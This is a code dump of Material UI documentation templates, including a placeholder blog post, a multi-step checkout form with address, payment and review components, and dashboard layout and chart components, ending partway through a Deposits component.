0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/blog/blog-post.3.md | # New feature
_March 14, 2020 by [Tom](/)_
Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
Aenean lacinia bibendum nulla sed consectetur. Etiam porta sem malesuada magna mollis euismod.
Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh,
ut fermentum massa justo sit amet risus.
- Praesent commodo cursus magna, vel scelerisque nisl consectetur et.
- Donec id elit non mi porta gravida at eget metus.
- Nulla vitae elit libero, a pharetra augue.
Etiam porta sem malesuada magna mollis euismod. Cras mattis consectetur purus sit amet fermentum.
Aenean lacinia bibendum nulla sed consectetur.
Donec ullamcorper nulla non metus auctor fringilla. Nulla vitae elit libero, a pharetra augue.
| 3,545 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/checkout/AddressForm.js | import * as React from 'react';
import Grid from '@mui/material/Grid';
import Typography from '@mui/material/Typography';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
export default function AddressForm() {
return (
<React.Fragment>
<Typography variant="h6" gutterBottom>
Shipping address
</Typography>
<Grid container spacing={3}>
<Grid item xs={12} sm={6}>
<TextField
required
id="firstName"
name="firstName"
label="First name"
fullWidth
autoComplete="given-name"
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
id="lastName"
name="lastName"
label="Last name"
fullWidth
autoComplete="family-name"
variant="standard"
/>
</Grid>
<Grid item xs={12}>
<TextField
required
id="address1"
name="address1"
label="Address line 1"
fullWidth
autoComplete="shipping address-line1"
variant="standard"
/>
</Grid>
<Grid item xs={12}>
<TextField
id="address2"
name="address2"
label="Address line 2"
fullWidth
autoComplete="shipping address-line2"
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
id="city"
name="city"
label="City"
fullWidth
autoComplete="shipping address-level2"
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
id="state"
name="state"
label="State/Province/Region"
fullWidth
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
id="zip"
name="zip"
label="Zip / Postal code"
fullWidth
autoComplete="shipping postal-code"
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
id="country"
name="country"
label="Country"
fullWidth
autoComplete="shipping country"
variant="standard"
/>
</Grid>
<Grid item xs={12}>
<FormControlLabel
control={<Checkbox color="secondary" name="saveAddress" value="yes" />}
label="Use this address for payment details"
/>
</Grid>
</Grid>
</React.Fragment>
);
}
| 3,546 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/checkout/AddressForm.tsx | import * as React from 'react';
import Grid from '@mui/material/Grid';
import Typography from '@mui/material/Typography';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
export default function AddressForm() {
return (
<React.Fragment>
<Typography variant="h6" gutterBottom>
Shipping address
</Typography>
<Grid container spacing={3}>
<Grid item xs={12} sm={6}>
<TextField
required
id="firstName"
name="firstName"
label="First name"
fullWidth
autoComplete="given-name"
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
id="lastName"
name="lastName"
label="Last name"
fullWidth
autoComplete="family-name"
variant="standard"
/>
</Grid>
<Grid item xs={12}>
<TextField
required
id="address1"
name="address1"
label="Address line 1"
fullWidth
autoComplete="shipping address-line1"
variant="standard"
/>
</Grid>
<Grid item xs={12}>
<TextField
id="address2"
name="address2"
label="Address line 2"
fullWidth
autoComplete="shipping address-line2"
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
id="city"
name="city"
label="City"
fullWidth
autoComplete="shipping address-level2"
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
id="state"
name="state"
label="State/Province/Region"
fullWidth
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
id="zip"
name="zip"
label="Zip / Postal code"
fullWidth
autoComplete="shipping postal-code"
variant="standard"
/>
</Grid>
<Grid item xs={12} sm={6}>
<TextField
required
id="country"
name="country"
label="Country"
fullWidth
autoComplete="shipping country"
variant="standard"
/>
</Grid>
<Grid item xs={12}>
<FormControlLabel
control={<Checkbox color="secondary" name="saveAddress" value="yes" />}
label="Use this address for payment details"
/>
</Grid>
</Grid>
</React.Fragment>
);
}
| 3,547 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/checkout/Checkout.js | import * as React from 'react';
import CssBaseline from '@mui/material/CssBaseline';
import AppBar from '@mui/material/AppBar';
import Box from '@mui/material/Box';
import Container from '@mui/material/Container';
import Toolbar from '@mui/material/Toolbar';
import Paper from '@mui/material/Paper';
import Stepper from '@mui/material/Stepper';
import Step from '@mui/material/Step';
import StepLabel from '@mui/material/StepLabel';
import Button from '@mui/material/Button';
import Link from '@mui/material/Link';
import Typography from '@mui/material/Typography';
import AddressForm from './AddressForm';
import PaymentForm from './PaymentForm';
import Review from './Review';
function Copyright() {
return (
<Typography variant="body2" color="text.secondary" align="center">
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
const steps = ['Shipping address', 'Payment details', 'Review your order'];
function getStepContent(step) {
switch (step) {
case 0:
return <AddressForm />;
case 1:
return <PaymentForm />;
case 2:
return <Review />;
default:
throw new Error('Unknown step');
}
}
export default function Checkout() {
const [activeStep, setActiveStep] = React.useState(0);
const handleNext = () => {
setActiveStep(activeStep + 1);
};
const handleBack = () => {
setActiveStep(activeStep - 1);
};
return (
<React.Fragment>
<CssBaseline />
<AppBar
position="absolute"
color="default"
elevation={0}
sx={{
position: 'relative',
borderBottom: (t) => `1px solid ${t.palette.divider}`,
}}
>
<Toolbar>
<Typography variant="h6" color="inherit" noWrap>
Company name
</Typography>
</Toolbar>
</AppBar>
<Container component="main" maxWidth="sm" sx={{ mb: 4 }}>
<Paper variant="outlined" sx={{ my: { xs: 3, md: 6 }, p: { xs: 2, md: 3 } }}>
<Typography component="h1" variant="h4" align="center">
Checkout
</Typography>
<Stepper activeStep={activeStep} sx={{ pt: 3, pb: 5 }}>
{steps.map((label) => (
<Step key={label}>
<StepLabel>{label}</StepLabel>
</Step>
))}
</Stepper>
{activeStep === steps.length ? (
<React.Fragment>
<Typography variant="h5" gutterBottom>
Thank you for your order.
</Typography>
<Typography variant="subtitle1">
Your order number is #2001539. We have emailed your order
confirmation, and will send you an update when your order has
shipped.
</Typography>
</React.Fragment>
) : (
<React.Fragment>
{getStepContent(activeStep)}
<Box sx={{ display: 'flex', justifyContent: 'flex-end' }}>
{activeStep !== 0 && (
<Button onClick={handleBack} sx={{ mt: 3, ml: 1 }}>
Back
</Button>
)}
<Button
variant="contained"
onClick={handleNext}
sx={{ mt: 3, ml: 1 }}
>
{activeStep === steps.length - 1 ? 'Place order' : 'Next'}
</Button>
</Box>
</React.Fragment>
)}
</Paper>
<Copyright />
</Container>
</React.Fragment>
);
}
| 3,548 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/checkout/Checkout.tsx | import * as React from 'react';
import CssBaseline from '@mui/material/CssBaseline';
import AppBar from '@mui/material/AppBar';
import Box from '@mui/material/Box';
import Container from '@mui/material/Container';
import Toolbar from '@mui/material/Toolbar';
import Paper from '@mui/material/Paper';
import Stepper from '@mui/material/Stepper';
import Step from '@mui/material/Step';
import StepLabel from '@mui/material/StepLabel';
import Button from '@mui/material/Button';
import Link from '@mui/material/Link';
import Typography from '@mui/material/Typography';
import AddressForm from './AddressForm';
import PaymentForm from './PaymentForm';
import Review from './Review';
function Copyright() {
return (
<Typography variant="body2" color="text.secondary" align="center">
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
const steps = ['Shipping address', 'Payment details', 'Review your order'];
function getStepContent(step: number) {
switch (step) {
case 0:
return <AddressForm />;
case 1:
return <PaymentForm />;
case 2:
return <Review />;
default:
throw new Error('Unknown step');
}
}
export default function Checkout() {
const [activeStep, setActiveStep] = React.useState(0);
const handleNext = () => {
setActiveStep(activeStep + 1);
};
const handleBack = () => {
setActiveStep(activeStep - 1);
};
return (
<React.Fragment>
<CssBaseline />
<AppBar
position="absolute"
color="default"
elevation={0}
sx={{
position: 'relative',
borderBottom: (t) => `1px solid ${t.palette.divider}`,
}}
>
<Toolbar>
<Typography variant="h6" color="inherit" noWrap>
Company name
</Typography>
</Toolbar>
</AppBar>
<Container component="main" maxWidth="sm" sx={{ mb: 4 }}>
<Paper variant="outlined" sx={{ my: { xs: 3, md: 6 }, p: { xs: 2, md: 3 } }}>
<Typography component="h1" variant="h4" align="center">
Checkout
</Typography>
<Stepper activeStep={activeStep} sx={{ pt: 3, pb: 5 }}>
{steps.map((label) => (
<Step key={label}>
<StepLabel>{label}</StepLabel>
</Step>
))}
</Stepper>
{activeStep === steps.length ? (
<React.Fragment>
<Typography variant="h5" gutterBottom>
Thank you for your order.
</Typography>
<Typography variant="subtitle1">
Your order number is #2001539. We have emailed your order
confirmation, and will send you an update when your order has
shipped.
</Typography>
</React.Fragment>
) : (
<React.Fragment>
{getStepContent(activeStep)}
<Box sx={{ display: 'flex', justifyContent: 'flex-end' }}>
{activeStep !== 0 && (
<Button onClick={handleBack} sx={{ mt: 3, ml: 1 }}>
Back
</Button>
)}
<Button
variant="contained"
onClick={handleNext}
sx={{ mt: 3, ml: 1 }}
>
{activeStep === steps.length - 1 ? 'Place order' : 'Next'}
</Button>
</Box>
</React.Fragment>
)}
</Paper>
<Copyright />
</Container>
</React.Fragment>
);
}
| 3,549 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/checkout/PaymentForm.js | import * as React from 'react';
import Typography from '@mui/material/Typography';
import Grid from '@mui/material/Grid';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
export default function PaymentForm() {
return (
<React.Fragment>
<Typography variant="h6" gutterBottom>
Payment method
</Typography>
<Grid container spacing={3}>
<Grid item xs={12} md={6}>
<TextField
required
id="cardName"
label="Name on card"
fullWidth
autoComplete="cc-name"
variant="standard"
/>
</Grid>
<Grid item xs={12} md={6}>
<TextField
required
id="cardNumber"
label="Card number"
fullWidth
autoComplete="cc-number"
variant="standard"
/>
</Grid>
<Grid item xs={12} md={6}>
<TextField
required
id="expDate"
label="Expiry date"
fullWidth
autoComplete="cc-exp"
variant="standard"
/>
</Grid>
<Grid item xs={12} md={6}>
<TextField
required
id="cvv"
label="CVV"
helperText="Last three digits on signature strip"
fullWidth
autoComplete="cc-csc"
variant="standard"
/>
</Grid>
<Grid item xs={12}>
<FormControlLabel
control={<Checkbox color="secondary" name="saveCard" value="yes" />}
label="Remember credit card details for next time"
/>
</Grid>
</Grid>
</React.Fragment>
);
}
| 3,550 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/checkout/PaymentForm.tsx | import * as React from 'react';
import Typography from '@mui/material/Typography';
import Grid from '@mui/material/Grid';
import TextField from '@mui/material/TextField';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
export default function PaymentForm() {
return (
<React.Fragment>
<Typography variant="h6" gutterBottom>
Payment method
</Typography>
<Grid container spacing={3}>
<Grid item xs={12} md={6}>
<TextField
required
id="cardName"
label="Name on card"
fullWidth
autoComplete="cc-name"
variant="standard"
/>
</Grid>
<Grid item xs={12} md={6}>
<TextField
required
id="cardNumber"
label="Card number"
fullWidth
autoComplete="cc-number"
variant="standard"
/>
</Grid>
<Grid item xs={12} md={6}>
<TextField
required
id="expDate"
label="Expiry date"
fullWidth
autoComplete="cc-exp"
variant="standard"
/>
</Grid>
<Grid item xs={12} md={6}>
<TextField
required
id="cvv"
label="CVV"
helperText="Last three digits on signature strip"
fullWidth
autoComplete="cc-csc"
variant="standard"
/>
</Grid>
<Grid item xs={12}>
<FormControlLabel
control={<Checkbox color="secondary" name="saveCard" value="yes" />}
label="Remember credit card details for next time"
/>
</Grid>
</Grid>
</React.Fragment>
);
}
| 3,551 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/checkout/README.md | # Checkout template
## Usage
<!-- #default-branch-switch -->
1. Copy the files into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).
2. Make sure your project has the required dependencies: @mui/material, @emotion/styled, @emotion/react.
3. Import and use the `Checkout` component.
## Demo
<!-- #default-branch-switch -->
View the demo at https://mui.com/material-ui/getting-started/templates/checkout/.
| 3,552 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/checkout/Review.js | import * as React from 'react';
import Typography from '@mui/material/Typography';
import List from '@mui/material/List';
import ListItem from '@mui/material/ListItem';
import ListItemText from '@mui/material/ListItemText';
import Grid from '@mui/material/Grid';
const products = [
{
name: 'Product 1',
desc: 'A nice thing',
price: '$9.99',
},
{
name: 'Product 2',
desc: 'Another thing',
price: '$3.45',
},
{
name: 'Product 3',
desc: 'Something else',
price: '$6.51',
},
{
name: 'Product 4',
desc: 'Best thing of all',
price: '$14.11',
},
{ name: 'Shipping', desc: '', price: 'Free' },
];
const addresses = ['1 MUI Drive', 'Reactville', 'Anytown', '99999', 'USA'];
const payments = [
{ name: 'Card type', detail: 'Visa' },
{ name: 'Card holder', detail: 'Mr John Smith' },
{ name: 'Card number', detail: 'xxxx-xxxx-xxxx-1234' },
{ name: 'Expiry date', detail: '04/2024' },
];
export default function Review() {
return (
<React.Fragment>
<Typography variant="h6" gutterBottom>
Order summary
</Typography>
<List disablePadding>
{products.map((product) => (
<ListItem key={product.name} sx={{ py: 1, px: 0 }}>
<ListItemText primary={product.name} secondary={product.desc} />
<Typography variant="body2">{product.price}</Typography>
</ListItem>
))}
<ListItem sx={{ py: 1, px: 0 }}>
<ListItemText primary="Total" />
<Typography variant="subtitle1" sx={{ fontWeight: 700 }}>
$34.06
</Typography>
</ListItem>
</List>
<Grid container spacing={2}>
<Grid item xs={12} sm={6}>
<Typography variant="h6" gutterBottom sx={{ mt: 2 }}>
Shipping
</Typography>
<Typography gutterBottom>John Smith</Typography>
<Typography gutterBottom>{addresses.join(', ')}</Typography>
</Grid>
<Grid item container direction="column" xs={12} sm={6}>
<Typography variant="h6" gutterBottom sx={{ mt: 2 }}>
Payment details
</Typography>
<Grid container>
{payments.map((payment) => (
<React.Fragment key={payment.name}>
<Grid item xs={6}>
<Typography gutterBottom>{payment.name}</Typography>
</Grid>
<Grid item xs={6}>
<Typography gutterBottom>{payment.detail}</Typography>
</Grid>
</React.Fragment>
))}
</Grid>
</Grid>
</Grid>
</React.Fragment>
);
}
| 3,553 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/checkout/Review.tsx | import * as React from 'react';
import Typography from '@mui/material/Typography';
import List from '@mui/material/List';
import ListItem from '@mui/material/ListItem';
import ListItemText from '@mui/material/ListItemText';
import Grid from '@mui/material/Grid';
const products = [
{
name: 'Product 1',
desc: 'A nice thing',
price: '$9.99',
},
{
name: 'Product 2',
desc: 'Another thing',
price: '$3.45',
},
{
name: 'Product 3',
desc: 'Something else',
price: '$6.51',
},
{
name: 'Product 4',
desc: 'Best thing of all',
price: '$14.11',
},
{ name: 'Shipping', desc: '', price: 'Free' },
];
const addresses = ['1 MUI Drive', 'Reactville', 'Anytown', '99999', 'USA'];
const payments = [
{ name: 'Card type', detail: 'Visa' },
{ name: 'Card holder', detail: 'Mr John Smith' },
{ name: 'Card number', detail: 'xxxx-xxxx-xxxx-1234' },
{ name: 'Expiry date', detail: '04/2024' },
];
export default function Review() {
return (
<React.Fragment>
<Typography variant="h6" gutterBottom>
Order summary
</Typography>
<List disablePadding>
{products.map((product) => (
<ListItem key={product.name} sx={{ py: 1, px: 0 }}>
<ListItemText primary={product.name} secondary={product.desc} />
<Typography variant="body2">{product.price}</Typography>
</ListItem>
))}
<ListItem sx={{ py: 1, px: 0 }}>
<ListItemText primary="Total" />
<Typography variant="subtitle1" sx={{ fontWeight: 700 }}>
$34.06
</Typography>
</ListItem>
</List>
<Grid container spacing={2}>
<Grid item xs={12} sm={6}>
<Typography variant="h6" gutterBottom sx={{ mt: 2 }}>
Shipping
</Typography>
<Typography gutterBottom>John Smith</Typography>
<Typography gutterBottom>{addresses.join(', ')}</Typography>
</Grid>
<Grid item container direction="column" xs={12} sm={6}>
<Typography variant="h6" gutterBottom sx={{ mt: 2 }}>
Payment details
</Typography>
<Grid container>
{payments.map((payment) => (
<React.Fragment key={payment.name}>
<Grid item xs={6}>
<Typography gutterBottom>{payment.name}</Typography>
</Grid>
<Grid item xs={6}>
<Typography gutterBottom>{payment.detail}</Typography>
</Grid>
</React.Fragment>
))}
</Grid>
</Grid>
</Grid>
</React.Fragment>
);
}
| 3,554 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Chart.js | import * as React from 'react';
import { useTheme } from '@mui/material/styles';
import { LineChart, Line, XAxis, YAxis, Label, ResponsiveContainer } from 'recharts';
import Title from './Title';
// Generate Sales Data
function createData(time, amount) {
return { time, amount };
}
const data = [
createData('00:00', 0),
createData('03:00', 300),
createData('06:00', 600),
createData('09:00', 800),
createData('12:00', 1500),
createData('15:00', 2000),
createData('18:00', 2400),
createData('21:00', 2400),
createData('24:00', undefined),
];
export default function Chart() {
const theme = useTheme();
return (
<React.Fragment>
<Title>Today</Title>
<ResponsiveContainer>
<LineChart
data={data}
margin={{
top: 16,
right: 16,
bottom: 0,
left: 24,
}}
>
<XAxis
dataKey="time"
stroke={theme.palette.text.secondary}
style={theme.typography.body2}
/>
<YAxis
stroke={theme.palette.text.secondary}
style={theme.typography.body2}
>
<Label
angle={270}
position="left"
style={{
textAnchor: 'middle',
fill: theme.palette.text.primary,
...theme.typography.body1,
}}
>
Sales ($)
</Label>
</YAxis>
<Line
isAnimationActive={false}
type="monotone"
dataKey="amount"
stroke={theme.palette.primary.main}
dot={false}
/>
</LineChart>
</ResponsiveContainer>
</React.Fragment>
);
}
| 3,555 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Chart.tsx | import * as React from 'react';
import { useTheme } from '@mui/material/styles';
import { LineChart, Line, XAxis, YAxis, Label, ResponsiveContainer } from 'recharts';
import Title from './Title';
// Generate Sales Data
function createData(time: string, amount?: number) {
return { time, amount };
}
const data = [
createData('00:00', 0),
createData('03:00', 300),
createData('06:00', 600),
createData('09:00', 800),
createData('12:00', 1500),
createData('15:00', 2000),
createData('18:00', 2400),
createData('21:00', 2400),
createData('24:00', undefined),
];
export default function Chart() {
const theme = useTheme();
return (
<React.Fragment>
<Title>Today</Title>
<ResponsiveContainer>
<LineChart
data={data}
margin={{
top: 16,
right: 16,
bottom: 0,
left: 24,
}}
>
<XAxis
dataKey="time"
stroke={theme.palette.text.secondary}
style={theme.typography.body2}
/>
<YAxis
stroke={theme.palette.text.secondary}
style={theme.typography.body2}
>
<Label
angle={270}
position="left"
style={{
textAnchor: 'middle',
fill: theme.palette.text.primary,
...theme.typography.body1,
}}
>
Sales ($)
</Label>
</YAxis>
<Line
isAnimationActive={false}
type="monotone"
dataKey="amount"
stroke={theme.palette.primary.main}
dot={false}
/>
</LineChart>
</ResponsiveContainer>
</React.Fragment>
);
}
| 3,556 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Dashboard.js | import * as React from 'react';
import { styled, createTheme, ThemeProvider } from '@mui/material/styles';
import CssBaseline from '@mui/material/CssBaseline';
import MuiDrawer from '@mui/material/Drawer';
import Box from '@mui/material/Box';
import MuiAppBar from '@mui/material/AppBar';
import Toolbar from '@mui/material/Toolbar';
import List from '@mui/material/List';
import Typography from '@mui/material/Typography';
import Divider from '@mui/material/Divider';
import IconButton from '@mui/material/IconButton';
import Badge from '@mui/material/Badge';
import Container from '@mui/material/Container';
import Grid from '@mui/material/Grid';
import Paper from '@mui/material/Paper';
import Link from '@mui/material/Link';
import MenuIcon from '@mui/icons-material/Menu';
import ChevronLeftIcon from '@mui/icons-material/ChevronLeft';
import NotificationsIcon from '@mui/icons-material/Notifications';
import { mainListItems, secondaryListItems } from './listItems';
import Chart from './Chart';
import Deposits from './Deposits';
import Orders from './Orders';
function Copyright(props) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
const drawerWidth = 240;
const AppBar = styled(MuiAppBar, {
shouldForwardProp: (prop) => prop !== 'open',
})(({ theme, open }) => ({
zIndex: theme.zIndex.drawer + 1,
transition: theme.transitions.create(['width', 'margin'], {
easing: theme.transitions.easing.sharp,
duration: theme.transitions.duration.leavingScreen,
}),
...(open && {
marginLeft: drawerWidth,
width: `calc(100% - ${drawerWidth}px)`,
transition: theme.transitions.create(['width', 'margin'], {
easing: theme.transitions.easing.sharp,
duration: theme.transitions.duration.enteringScreen,
}),
}),
}));
const Drawer = styled(MuiDrawer, { shouldForwardProp: (prop) => prop !== 'open' })(
({ theme, open }) => ({
'& .MuiDrawer-paper': {
position: 'relative',
whiteSpace: 'nowrap',
width: drawerWidth,
transition: theme.transitions.create('width', {
easing: theme.transitions.easing.sharp,
duration: theme.transitions.duration.enteringScreen,
}),
boxSizing: 'border-box',
...(!open && {
overflowX: 'hidden',
transition: theme.transitions.create('width', {
easing: theme.transitions.easing.sharp,
duration: theme.transitions.duration.leavingScreen,
}),
width: theme.spacing(7),
[theme.breakpoints.up('sm')]: {
width: theme.spacing(9),
},
}),
},
}),
);
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function Dashboard() {
const [open, setOpen] = React.useState(true);
const toggleDrawer = () => {
setOpen(!open);
};
return (
<ThemeProvider theme={defaultTheme}>
<Box sx={{ display: 'flex' }}>
<CssBaseline />
<AppBar position="absolute" open={open}>
<Toolbar
sx={{
pr: '24px', // keep right padding when drawer closed
}}
>
<IconButton
edge="start"
color="inherit"
aria-label="open drawer"
onClick={toggleDrawer}
sx={{
marginRight: '36px',
...(open && { display: 'none' }),
}}
>
<MenuIcon />
</IconButton>
<Typography
component="h1"
variant="h6"
color="inherit"
noWrap
sx={{ flexGrow: 1 }}
>
Dashboard
</Typography>
<IconButton color="inherit">
<Badge badgeContent={4} color="secondary">
<NotificationsIcon />
</Badge>
</IconButton>
</Toolbar>
</AppBar>
<Drawer variant="permanent" open={open}>
<Toolbar
sx={{
display: 'flex',
alignItems: 'center',
justifyContent: 'flex-end',
px: [1],
}}
>
<IconButton onClick={toggleDrawer}>
<ChevronLeftIcon />
</IconButton>
</Toolbar>
<Divider />
<List component="nav">
{mainListItems}
<Divider sx={{ my: 1 }} />
{secondaryListItems}
</List>
</Drawer>
<Box
component="main"
sx={{
backgroundColor: (theme) =>
theme.palette.mode === 'light'
? theme.palette.grey[100]
: theme.palette.grey[900],
flexGrow: 1,
height: '100vh',
overflow: 'auto',
}}
>
<Toolbar />
<Container maxWidth="lg" sx={{ mt: 4, mb: 4 }}>
<Grid container spacing={3}>
{/* Chart */}
<Grid item xs={12} md={8} lg={9}>
<Paper
sx={{
p: 2,
display: 'flex',
flexDirection: 'column',
height: 240,
}}
>
<Chart />
</Paper>
</Grid>
{/* Recent Deposits */}
<Grid item xs={12} md={4} lg={3}>
<Paper
sx={{
p: 2,
display: 'flex',
flexDirection: 'column',
height: 240,
}}
>
<Deposits />
</Paper>
</Grid>
{/* Recent Orders */}
<Grid item xs={12}>
<Paper sx={{ p: 2, display: 'flex', flexDirection: 'column' }}>
<Orders />
</Paper>
</Grid>
</Grid>
<Copyright sx={{ pt: 4 }} />
</Container>
</Box>
</Box>
</ThemeProvider>
);
}
| 3,557 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Dashboard.tsx | import * as React from 'react';
import { styled, createTheme, ThemeProvider } from '@mui/material/styles';
import CssBaseline from '@mui/material/CssBaseline';
import MuiDrawer from '@mui/material/Drawer';
import Box from '@mui/material/Box';
import MuiAppBar, { AppBarProps as MuiAppBarProps } from '@mui/material/AppBar';
import Toolbar from '@mui/material/Toolbar';
import List from '@mui/material/List';
import Typography from '@mui/material/Typography';
import Divider from '@mui/material/Divider';
import IconButton from '@mui/material/IconButton';
import Badge from '@mui/material/Badge';
import Container from '@mui/material/Container';
import Grid from '@mui/material/Grid';
import Paper from '@mui/material/Paper';
import Link from '@mui/material/Link';
import MenuIcon from '@mui/icons-material/Menu';
import ChevronLeftIcon from '@mui/icons-material/ChevronLeft';
import NotificationsIcon from '@mui/icons-material/Notifications';
import { mainListItems, secondaryListItems } from './listItems';
import Chart from './Chart';
import Deposits from './Deposits';
import Orders from './Orders';
function Copyright(props: any) {
return (
<Typography variant="body2" color="text.secondary" align="center" {...props}>
{'Copyright © '}
<Link color="inherit" href="https://mui.com/">
Your Website
</Link>{' '}
{new Date().getFullYear()}
{'.'}
</Typography>
);
}
const drawerWidth: number = 240;
interface AppBarProps extends MuiAppBarProps {
open?: boolean;
}
const AppBar = styled(MuiAppBar, {
shouldForwardProp: (prop) => prop !== 'open',
})<AppBarProps>(({ theme, open }) => ({
zIndex: theme.zIndex.drawer + 1,
transition: theme.transitions.create(['width', 'margin'], {
easing: theme.transitions.easing.sharp,
duration: theme.transitions.duration.leavingScreen,
}),
...(open && {
marginLeft: drawerWidth,
width: `calc(100% - ${drawerWidth}px)`,
transition: theme.transitions.create(['width', 'margin'], {
easing: theme.transitions.easing.sharp,
duration: theme.transitions.duration.enteringScreen,
}),
}),
}));
const Drawer = styled(MuiDrawer, { shouldForwardProp: (prop) => prop !== 'open' })(
({ theme, open }) => ({
'& .MuiDrawer-paper': {
position: 'relative',
whiteSpace: 'nowrap',
width: drawerWidth,
transition: theme.transitions.create('width', {
easing: theme.transitions.easing.sharp,
duration: theme.transitions.duration.enteringScreen,
}),
boxSizing: 'border-box',
...(!open && {
overflowX: 'hidden',
transition: theme.transitions.create('width', {
easing: theme.transitions.easing.sharp,
duration: theme.transitions.duration.leavingScreen,
}),
width: theme.spacing(7),
[theme.breakpoints.up('sm')]: {
width: theme.spacing(9),
},
}),
},
}),
);
// TODO remove, this demo shouldn't need to reset the theme.
const defaultTheme = createTheme();
export default function Dashboard() {
const [open, setOpen] = React.useState(true);
const toggleDrawer = () => {
setOpen(!open);
};
return (
<ThemeProvider theme={defaultTheme}>
<Box sx={{ display: 'flex' }}>
<CssBaseline />
<AppBar position="absolute" open={open}>
<Toolbar
sx={{
pr: '24px', // keep right padding when drawer closed
}}
>
<IconButton
edge="start"
color="inherit"
aria-label="open drawer"
onClick={toggleDrawer}
sx={{
marginRight: '36px',
...(open && { display: 'none' }),
}}
>
<MenuIcon />
</IconButton>
<Typography
component="h1"
variant="h6"
color="inherit"
noWrap
sx={{ flexGrow: 1 }}
>
Dashboard
</Typography>
<IconButton color="inherit">
<Badge badgeContent={4} color="secondary">
<NotificationsIcon />
</Badge>
</IconButton>
</Toolbar>
</AppBar>
<Drawer variant="permanent" open={open}>
<Toolbar
sx={{
display: 'flex',
alignItems: 'center',
justifyContent: 'flex-end',
px: [1],
}}
>
<IconButton onClick={toggleDrawer}>
<ChevronLeftIcon />
</IconButton>
</Toolbar>
<Divider />
<List component="nav">
{mainListItems}
<Divider sx={{ my: 1 }} />
{secondaryListItems}
</List>
</Drawer>
<Box
component="main"
sx={{
backgroundColor: (theme) =>
theme.palette.mode === 'light'
? theme.palette.grey[100]
: theme.palette.grey[900],
flexGrow: 1,
height: '100vh',
overflow: 'auto',
}}
>
<Toolbar />
<Container maxWidth="lg" sx={{ mt: 4, mb: 4 }}>
<Grid container spacing={3}>
{/* Chart */}
<Grid item xs={12} md={8} lg={9}>
<Paper
sx={{
p: 2,
display: 'flex',
flexDirection: 'column',
height: 240,
}}
>
<Chart />
</Paper>
</Grid>
{/* Recent Deposits */}
<Grid item xs={12} md={4} lg={3}>
<Paper
sx={{
p: 2,
display: 'flex',
flexDirection: 'column',
height: 240,
}}
>
<Deposits />
</Paper>
</Grid>
{/* Recent Orders */}
<Grid item xs={12}>
<Paper sx={{ p: 2, display: 'flex', flexDirection: 'column' }}>
<Orders />
</Paper>
</Grid>
</Grid>
<Copyright sx={{ pt: 4 }} />
</Container>
</Box>
</Box>
</ThemeProvider>
);
}
| 3,558 |
0 | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates | petrpan-code/mui/material-ui/docs/data/material/getting-started/templates/dashboard/Deposits.js | import * as React from 'react';
import Link from '@mui/material/Link';
import Typography from '@mui/material/Typography';
import Title from './Title';
function preventDefault(event) {
event.preventDefault();
}
export default function Deposits() {
return (
<React.Fragment>
<Title>Recent Deposits</Title>
<Typography component="p" variant="h4">
$3,024.00
</Typography>
